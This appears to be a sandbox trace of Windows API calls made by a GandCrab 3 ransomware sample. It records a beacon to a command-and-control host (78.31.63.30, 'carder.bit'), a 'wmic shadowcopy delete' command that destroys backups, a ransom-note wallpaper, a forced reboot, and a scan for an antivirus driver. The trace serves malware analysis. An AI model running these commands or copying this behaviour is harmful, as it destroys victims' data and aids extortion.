	[0139.903] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0139.903] VirtualAlloc (lpAddress=0x0, dwSize=0x621, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0139.903] VirtualAlloc (lpAddress=0x0, dwSize=0x32001, flAllocationType=0x3000, flProtect=0x40) returned 0x2e0000
	[0139.903] lstrcatA (in: lpString1="", lpString2="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==" | out: lpString1="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA=="
	[0139.903] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0139.903] lstrlenW (lpString="Content-Type: application/x-www-form-urlencoded") returned 47
	[0139.903] lstrlenA (lpString="vVSCUMDH4yYlV7j9/3wLVvbD0SWrh+J/VDm8Fo6NFtKy9I1xgZutAU9zZPBV0HEJ8XGvbvuldRSTIRnBMwcHuLnIufd/0MvBzVDnVE8VoVUyUqPI5wkc4c0FylKZuUk4BBwe9tfgVk5ytwXDapUg4j93dOSQ1zkAH3mwyU5/GpNj93tp2sX8+cR+Veo/ZZskHyyLd1xxCa8trdSwKLl6x5eaLGaqK21PsUjRc6djqbhliduGAxMh6UIP4P7lqtsSZjNaiAT40GiwwA==") returned 272
	[0139.903] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0139.903] InternetOpenW (lpszAgent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004
	[0139.903] InternetConnectW (hInternet=0xcc0004, lpszServerName="78.31.63.30", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008
	[0139.904] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x40) returned 0x320000
	[0139.904] wsprintfW (in: param_1=0x320000, param_2="%s" | out: param_1="oaza?erb=scaugh&eigh=ai") returned 23
	[0139.904] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="oaza?erb=scaugh&eigh=ai", lpszVersion="HTTP/1.1", lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x8404f700, dwContext=0x0) returned 0xcc000c
	[0139.904] HttpAddRequestHeadersW (hRequest=0xcc000c, lpszHeaders="Host: carder.bit", dwHeadersLength=0xffffffff, dwModifiers=0x0) returned 1
	[0139.904] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x2f, lpOptional=0x2d0000*, dwOptionalLength=0x110 | out: lpOptional=0x2d0000*) returned 1
	[0141.810] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2e0000, dwNumberOfBytesToRead=0x31ffe, lpdwNumberOfBytesRead=0x253f99c | out: lpBuffer=0x2e0000*, lpdwNumberOfBytesRead=0x253f99c*=0x0) returned 1
	[0141.812] InternetCloseHandle (hInternet=0xcc000c) returned 1
	[0141.813] InternetCloseHandle (hInternet=0xcc0008) returned 1
	[0141.813] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.813] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.813] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.814] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.815] InternetCloseHandle (hInternet=0xcc0004) returned 1
	[0141.815] VirtualFree (lpAddress=0xe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.815] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.817] VirtualFree (lpAddress=0xf0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.817] VirtualFree (lpAddress=0x100000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.817] VirtualFree (lpAddress=0xd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.818] VirtualFree (lpAddress=0x0, dwSize=0x0, dwFreeType=0x8000) returned 0
	[0141.818] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0141.818] AllocateAndInitializeSid (in: pIdentifierAuthority=0x253ff10, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x253ff18 | out: pSid=0x253ff18*=0xd5cce0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1
	[0141.818] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77990000
	[0141.818] GetProcAddress (hModule=0x77990000, lpProcName="CheckTokenMembership") returned 0x779af8d0
	[0141.818] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xd5cce0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x253ff1c | out: IsMember=0x253ff1c) returned 1
	[0141.819] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
	[0141.819] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
	[0141.819] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
	[0141.819] VerifyVersionInfoW (in: lpVersionInformation=0x253fd40, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x253fd40) returned 1
	[0141.819] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0xa0000
	[0141.819] GetSystemDirectoryW (in: lpBuffer=0xa0000, uSize=0x100 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0141.819] lstrcatW (in: lpString1="C:\\Windows\\system32", lpString2="\\wbem\\wmic.exe" | out: lpString1="C:\\Windows\\system32\\wbem\\wmic.exe") returned="C:\\Windows\\system32\\wbem\\wmic.exe"
	[0141.819] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="C:\\Windows\\system32\\wbem\\wmic.exe", lpParameters="shadowcopy delete", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0144.043] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0144.043] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000
	[0144.043] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xa0000, nSize=0x100 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0144.043] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
	[0144.043] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
	[0144.044] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
	[0144.044] VerifyVersionInfoW (in: lpVersionInformation=0x253f758, dwTypeMask=0x23, dwlConditionMask=0x1801b | out: lpVersionInformation=0x253f758) returned 1
	[0144.044] AllocateAndInitializeSid (in: pIdentifierAuthority=0x253f868, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x253f870 | out: pSid=0x253f870*=0x33a5468*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1
	[0144.044] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77990000
	[0144.045] GetProcAddress (hModule=0x77990000, lpProcName="CheckTokenMembership") returned 0x779af8d0
	[0144.045] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x33a5468*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x253f874 | out: IsMember=0x253f874) returned 1
	[0144.045] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0144.046] GetDC (hWnd=0x0) returned 0xa010691
	[0144.046] CreateCompatibleDC (hdc=0xa010691) returned 0x2f010727
	[0144.046] GetDeviceCaps (hdc=0xa010691, index=8) returned 1440
	[0144.046] GetDeviceCaps (hdc=0xa010691, index=10) returned 900
	[0144.046] CreateCompatibleBitmap (hdc=0xa010691, cx=1440, cy=900) returned 0x4e050724
	[0144.048] SelectObject (hdc=0x2f010727, h=0x4e050724) returned 0x185000f
	[0144.048] GetDeviceCaps (hdc=0xa010691, index=90) returned 96
	[0144.048] MulDiv (nNumber=18, nNumerator=96, nDenominator=72) returned 24
	[0144.048] CreateFontW (cHeight=-24, cWidth=0, cEscapement=0, cOrientation=0, cWeight=0, bItalic=0x0, bUnderline=0x0, bStrikeOut=0x0, iCharSet=0x1, iOutPrecision=0x0, iClipPrecision=0x0, iQuality=0x4, iPitchAndFamily=0x0, pszFaceName=0x0) returned 0x3f0a071d
	[0144.048] SelectObject (hdc=0x2f010727, h=0x3f0a071d) returned 0x18a0048
	[0144.048] SetBkColor (hdc=0x2f010727, color=0x0) returned 0xffffff
	[0144.048] SetTextColor (hdc=0x2f010727, color=0xc8) returned 0x0
	[0144.048] GetStockObject (i=2) returned 0x1900012
	[0144.048] FillRect (hDC=0x2f010727, lprc=0x253f404, hbr=0x1900012) returned 1
	[0144.049] GetTickCount () returned 0x3616a
	[0145.667] DrawTextA (in: hdc=0x2f010727, lpchText="ENCRYPTED BY GANDCRAB 3", cchText=-1, lprc=0x253f404, format=0x11 | out: lpchText="ENCRYPTED BY GANDCRAB 3", lprc=0x253f404) returned 29
	[0145.766] GetUserNameW (in: lpBuffer=0x253f520, pcbBuffer=0x253f428 | out: lpBuffer="SYSTEM", pcbBuffer=0x253f428) returned 1
	[0145.767] lstrcmpiW (lpString1="SYSTEM", lpString2="SYSTEM") returned 0
	[0145.767] wsprintfW (in: param_1=0x253f720, param_2="DEAR USER, " | out: param_1="DEAR USER, ") returned 11
	[0145.767] DrawTextW (in: hdc=0x2f010727, lpchText="DEAR USER, ", cchText=-1, lprc=0x253f404, format=0x11 | out: lpchText="DEAR USER, ", lprc=0x253f404) returned 29
	[0145.767] DrawTextA (in: hdc=0x2f010727, lpchText="YOUR FILES ARE UNDER STRONG PROTECTION BY OUR SOFTWARE. IN ORDER TO RESTORE IT YOU MUST BUY DECRYPTOR", cchText=-1, lprc=0x253f404, format=0x11 | out: lpchText="YOUR FILES ARE UNDER STRONG PROTECTION BY OUR SOFTWARE. IN ORDER TO RESTORE IT YOU MUST BUY DECRYPTOR", lprc=0x253f404) returned 58
	[0145.769] DrawTextA (in: hdc=0x2f010727, lpchText="For further steps read CRAB-DECRYPT.txt that is located in every encrypted folder", cchText=-1, lprc=0x253f404, format=0x11 | out: lpchText="For further steps read CRAB-DECRYPT.txt that is located in every encrypted folder", lprc=0x253f404) returned 29
	[0145.770] GetTickCount () returned 0x36821
	[0148.336] VirtualAlloc (lpAddress=0x0, dwSize=0x200, flAllocationType=0x3000, flProtect=0x4) returned 0xa0000
	[0148.337] GetTempPathW (in: nBufferLength=0x100, lpBuffer=0xa0000 | out: lpBuffer="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\") returned 0x25
	[0148.337] lstrcatW (in: lpString1="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\", lpString2="\\pidor.bmp" | out: lpString1="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\\\pidor.bmp") returned="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\\\pidor.bmp"
	[0148.337] GetObjectW (in: h=0x4e050724, c=24, pv=0x253f3ac | out: pv=0x253f3ac) returned 24
	[0148.337] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x33a8290
	[0148.345] GetDIBits (in: hdc=0xa010691, hbm=0x4e050724, start=0x0, cLines=0x384, lpvBits=0x4be1020, lpbmi=0x33a8290, usage=0x0 | out: lpvBits=0x4be1020, lpbmi=0x33a8290) returned 900
	[0148.357] CreateFileW (lpFileName="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\\\pidor.bmp" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\pidor.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494
	[0148.358] WriteFile (in: hFile=0x494, lpBuffer=0x253f3c4*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x253f3dc, lpOverlapped=0x0 | out: lpBuffer=0x253f3c4*, lpNumberOfBytesWritten=0x253f3dc*=0xe, lpOverlapped=0x0) returned 1
	[0148.359] WriteFile (in: hFile=0x494, lpBuffer=0x33a8290*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x253f3dc, lpOverlapped=0x0 | out: lpBuffer=0x33a8290*, lpNumberOfBytesWritten=0x253f3dc*=0x28, lpOverlapped=0x0) returned 1
	[0148.359] WriteFile (in: hFile=0x494, lpBuffer=0x4be1020*, nNumberOfBytesToWrite=0x4f1a00, lpNumberOfBytesWritten=0x253f3dc, lpOverlapped=0x0 | out: lpBuffer=0x4be1020*, lpNumberOfBytesWritten=0x253f3dc*=0x4f1a00, lpOverlapped=0x0) returned 1
	[0148.601] CloseHandle (hObject=0x494) returned 1
	[0148.628] SelectObject (hdc=0x2f010727, h=0x18a0048) returned 0x3f0a071d
	[0148.628] DeleteObject (ho=0x3f0a071d) returned 1
	[0148.628] SelectObject (hdc=0x2f010727, h=0x185000f) returned 0x4e050724
	[0148.628] DeleteObject (ho=0x4e050724) returned 1
	[0148.628] DeleteDC (hdc=0x2f010727) returned 1
	[0148.628] ReleaseDC (hWnd=0x0, hDC=0xa010691) returned 1
	[0148.628] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam=0xa0000, fWinIni=0x3 | out: pvParam=0xa0000) returned 1
	[0150.266] VirtualFree (lpAddress=0xa0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0150.266] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x253fb20, nSize=0x100 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0150.266] GetLastError () returned 0x0
	[0150.266] CharUpperBuffW (in: lpsz="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", cchLength=0x30 | out: lpsz="C:\\USERS\\CIIHMN~1\\APPDATA\\LOCAL\\TEMP\\BUSMEAT.EXE") returned 0x30
	[0150.266] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="cmd.exe", lpParameters="/c shutdown -r -t 60 -f", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0150.777] ShellExecuteW (hwnd=0x0, lpOperation="open", lpFile="https://www.torproject.org/download/download-easy.html.en", lpParameters=0x0, lpDirectory=0x0, nShowCmd=5) 

Thread:
	id = 26
	os_tid = 0xff4

	[0081.767] EnumDeviceDrivers (in: lpImageBase=0x19ff08, cb=0x4, lpcbNeeded=0x19ff0c | out: lpImageBase=0x19ff08*=0xc1c05000, lpcbNeeded=0x19ff0c) returned 1
	[0081.769] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe40000
	[0081.769] EnumDeviceDrivers (in: lpImageBase=0xe40000, cb=0x22c, lpcbNeeded=0x19ff08 | out: lpImageBase=0xe40000*=0xc1c05000, lpcbNeeded=0x19ff08) returned 1
	[0081.769] GetDeviceDriverBaseNameW (in: ImageBase=0xc1c05000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ntoskrnl.exe") returned 0xc
	[0081.769] lstrcmpiW (lpString1="ntoskrnl.exe", lpString2="klif.sys") returned 1
	[0081.769] GetDeviceDriverBaseNameW (in: ImageBase=0xc2457000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="hal.dll") returned 0x7
	[0081.769] lstrcmpiW (lpString1="hal.dll", lpString2="klif.sys") returned -1
	[0081.769] GetDeviceDriverBaseNameW (in: ImageBase=0xc0d36000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="kd.dll") returned 0x6
	[0081.769] lstrcmpiW (lpString1="kd.dll", lpString2="klif.sys") returned -1
	[0081.769] GetDeviceDriverBaseNameW (in: ImageBase=0xe6d30000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mcupdate_GenuineIntel.dll") returned 0x19
	[0081.770] lstrcmpiW (lpString1="mcupdate_GenuineIntel.dll", lpString2="klif.sys") returned 1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe6dc0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="werkernel.sys") returned 0xd
	[0081.770] lstrcmpiW (lpString1="werkernel.sys", lpString2="klif.sys") returned 1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e00000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CLFS.SYS") returned 0x8
	[0081.770] lstrcmpiW (lpString1="CLFS.SYS", lpString2="klif.sys") returned -1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe5e70000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="tm.sys") returned 0x6
	[0081.770] lstrcmpiW (lpString1="tm.sys", lpString2="klif.sys") returned 1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ea0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="PSHED.dll") returned 0x9
	[0081.770] lstrcmpiW (lpString1="PSHED.dll", lpString2="klif.sys") returned 1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ec0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="BOOTVID.dll") returned 0xb
	[0081.770] lstrcmpiW (lpString1="BOOTVID.dll", lpString2="klif.sys") returned -1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ed0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="cmimcext.sys") returned 0xc
	[0081.770] lstrcmpiW (lpString1="cmimcext.sys", lpString2="klif.sys") returned -1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ee0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ntosext.sys") returned 0xb
	[0081.770] lstrcmpiW (lpString1="ntosext.sys", lpString2="klif.sys") returned 1
	[0081.770] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ef0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CI.dll") returned 0x6
	[0081.771] lstrcmpiW (lpString1="CI.dll", lpString2="klif.sys") returned -1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe5f90000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="msrpc.sys") returned 0x9
	[0081.771] lstrcmpiW (lpString1="msrpc.sys", lpString2="klif.sys") returned 1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe5ff0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="FLTMGR.SYS") returned 0xa
	[0081.771] lstrcmpiW (lpString1="FLTMGR.SYS", lpString2="klif.sys") returned -1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe6060000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ksecdd.sys") returned 0xa
	[0081.771] lstrcmpiW (lpString1="ksecdd.sys", lpString2="klif.sys") returned 1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe6090000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="clipsp.sys") returned 0xa
	[0081.771] lstrcmpiW (lpString1="clipsp.sys", lpString2="klif.sys") returned -1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe6130000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Wdf01000.sys") returned 0xc
	[0081.771] lstrcmpiW (lpString1="Wdf01000.sys", lpString2="klif.sys") returned 1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe6210000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WDFLDR.SYS") returned 0xa
	[0081.771] lstrcmpiW (lpString1="WDFLDR.SYS", lpString2="klif.sys") returned 1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe6230000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="acpiex.sys") returned 0xa
	[0081.771] lstrcmpiW (lpString1="acpiex.sys", lpString2="klif.sys") returned -1
	[0081.771] GetDeviceDriverBaseNameW (in: ImageBase=0xe6260000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WppRecorder.sys") returned 0xf
	[0081.772] lstrcmpiW (lpString1="WppRecorder.sys", lpString2="klif.sys") returned 1
	[0081.772] GetDeviceDriverBaseNameW (in: ImageBase=0xe6270000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="cng.sys") returned 0x7
	[0081.772] lstrcmpiW (lpString1="cng.sys", lpString2="klif.sys") returned -1
	[0081.772] GetDeviceDriverBaseNameW (in: ImageBase=0xe6310000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="ACPI.sys") returned 0x8
	[0081.772] lstrcmpiW (lpString1="ACPI.sys", lpString2="klif.sys") returned -1
	[0081.773] GetDeviceDriverBaseNameW (in: ImageBase=0xe63a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WMILIB.SYS") returned 0xa
	[0081.773] lstrcmpiW (lpString1="WMILIB.SYS", lpString2="klif.sys") returned 1
	[0081.773] GetDeviceDriverBaseNameW (in: ImageBase=0xe63b0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WindowsTrustedRT.sys") returned 0x14
	[0081.773] lstrcmpiW (lpString1="WindowsTrustedRT.sys", lpString2="klif.sys") returned 1
	[0081.773] GetDeviceDriverBaseNameW (in: ImageBase=0xe63d0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="WindowsTrustedRTProxy.sys") returned 0x19
	[0081.773] lstrcmpiW (lpString1="WindowsTrustedRTProxy.sys", lpString2="klif.sys") returned 1
	[0081.773] GetDeviceDriverBaseNameW (in: ImageBase=0xe63e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pcw.sys") returned 0x7
	[0081.773] lstrcmpiW (lpString1="pcw.sys", lpString2="klif.sys") returned 1
	[0081.773] GetDeviceDriverBaseNameW (in: ImageBase=0xe6400000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="msisadrv.sys") returned 0xc
	[0081.773] lstrcmpiW (lpString1="msisadrv.sys", lpString2="klif.sys") returned 1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe6410000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pci.sys") returned 0x7
	[0081.774] lstrcmpiW (lpString1="pci.sys", lpString2="klif.sys") returned 1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe6470000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="vdrvroot.sys") returned 0xc
	[0081.774] lstrcmpiW (lpString1="vdrvroot.sys", lpString2="klif.sys") returned 1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe6480000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="pdc.sys") returned 0x7
	[0081.774] lstrcmpiW (lpString1="pdc.sys", lpString2="klif.sys") returned 1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe64a0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="CEA.sys") returned 0x7
	[0081.774] lstrcmpiW (lpString1="CEA.sys", lpString2="klif.sys") returned -1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe64c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="partmgr.sys") returned 0xb
	[0081.774] lstrcmpiW (lpString1="partmgr.sys", lpString2="klif.sys") returned 1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe64f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="spaceport.sys") returned 0xd
	[0081.774] lstrcmpiW (lpString1="spaceport.sys", lpString2="klif.sys") returned 1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe6570000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="volmgr.sys") returned 0xa
	[0081.774] lstrcmpiW (lpString1="volmgr.sys", lpString2="klif.sys") returned 1
	[0081.774] GetDeviceDriverBaseNameW (in: ImageBase=0xe6590000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="volmgrx.sys") returned 0xb
	[0081.775] lstrcmpiW (lpString1="volmgrx.sys", lpString2="klif.sys") returned 1
	[0081.775] GetDeviceDriverBaseNameW (in: ImageBase=0xe65f0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="mountmgr.sys") returned 0xc
	[0081.775] lstrcmpiW (lpString1="mountmgr.sys", lpString2="klif.sys") returned 1
	[0081.775] GetDeviceDriverBaseNameW (in: ImageBase=0xe6610000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="storahci.sys") returned 0xc
	[0081.775] lstrcmpiW (lpString1="storahci.sys", lpString2="klif.sys") returned 1
	[0081.775] GetDeviceDriverBaseNameW (in: ImageBase=0xe6640000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="storport.sys") returned 0xc
	[0081.775] lstrcmpiW (lpString1="storport.sys", lpString2="klif.sys") returned 1
	[0081.775] GetDeviceDriverBaseNameW (in: ImageBase=0xe66c0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="EhStorClass.sys") returned 0xf
	[0081.775] lstrcmpiW (lpString1="EhStorClass.sys", lpString2="klif.sys") returned -1
	[0081.775] GetDeviceDriverBaseNameW (in: ImageBase=0xe66e0000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="fileinfo.sys") returned 0xc
	[0081.775] lstrcmpiW (lpString1="fileinfo.sys", lpString2="klif.sys") returned -1
	[0081.775] GetDeviceDriverBaseNameW (in: ImageBase=0xe6700000, lpBaseName=0x19f704, nSize=0x400 | out: lpBaseName="Wof.sys") returned 0x7
	[0081.775] lstrcmpiW (lpString1="Wof.sys", lpString2="klif.sys") returned 1
